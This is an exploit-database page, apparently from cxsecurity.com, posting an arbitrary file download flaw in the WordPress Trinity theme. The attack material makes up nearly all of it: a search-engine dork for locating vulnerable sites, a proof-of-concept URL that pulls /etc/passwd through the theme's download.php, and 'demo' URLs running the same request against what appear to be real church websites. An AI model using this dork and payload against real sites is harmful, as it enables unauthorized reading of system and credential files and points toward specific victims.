WordPress Trinity Theme Arbitrary File Download

2014.09.12
Credit: Mr.Doel
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-200
Dork: inurl:/wp-content/themes/trinity/lib

# Exploit Title: Wordpress Trinity theme Arbitrary File Download Vulnerability # Date: 9/10/2014 # Google Dork : inurl:/wp-content/themes/trinity/lib # Exploit Author: Mr.Doel # Vendor Homepage: https://churchthemes.net/themes/trinity/ # Tested on: Windows 7 POC : http://localhost/wp-content/themes/trinity/lib/scripts/download.php?file=/etc/passwd Demo : www.firsXZtbco.net/wp-content/themes/trinity/lib/scripts/download.php?file=/etc/passwd http://laurXelchurch.webfactional.com/wp-content/themes/trinity/lib/scripts/download.php?file=/etc/passwd ===================== Greetz : Malang Cyber Crew - Indonesian Coder


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top